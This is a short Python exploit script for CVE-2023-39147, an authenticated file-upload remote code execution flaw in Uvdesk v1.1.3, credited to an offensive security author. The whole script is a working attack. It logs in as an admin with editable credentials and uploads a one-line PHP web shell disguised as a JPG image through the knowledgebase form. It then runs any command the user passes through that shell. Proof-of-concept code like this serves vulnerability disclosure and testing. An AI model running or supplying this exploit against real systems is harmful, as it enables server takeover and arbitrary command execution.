# Exploit Title: Uvdesk v1.1.3 - File Upload Remote Code Execution (RCE) (Authenticated) # Date: 28/07/2023 # Exploit Author: Daniel Barros (@cupc4k3d) - Hakai Offensive Security # Vendor Homepage: https://www.uvdesk.com # Software Link: https://github.com/uvdesk/community-skeleton # Version: 1.1.3 # Example: python3 CVE-2023-39147.py -u "http://$ip:8000/" -c "whoami" # CVE : CVE-2023-39147 # Tested on: Ubuntu 20.04.6 import requests import argparse def get_args(): parser = argparse.ArgumentParser() parser.add_argument('-u', '--url', required=True, action='store', help='Target url') parser.add_argument('-c', '--command', required=True, action='store', help='Command to execute') my_args = parser.parse_args() return my_args def main(): args = get_args() base_url = args.url command = args.command uploaded_file = "shell.php" url_cmd = base_url + "//assets/knowledgebase/shell.php?cmd=" + command # Edit your credentials here login_data = { "_username": "admin@adm.com", "_password": "passwd", "_remember_me": "off" } files = { "name": (None, "pwn"), "description": (None, "xxt"), "visibility": (None, "public"), "solutionImage": (uploaded_file, "<?php system($_GET['cmd']); ?>", "image/jpg") } s = requests.session() # Login s.post(base_url + "/en/member/login", data=login_data) # Upload upload_response = s.post(base_url + "/en/member/knowledgebase/folders/new", files=files) # Execute command cmd = s.get(url_cmd) print(cmd.text) if __name__ == "__main__": main()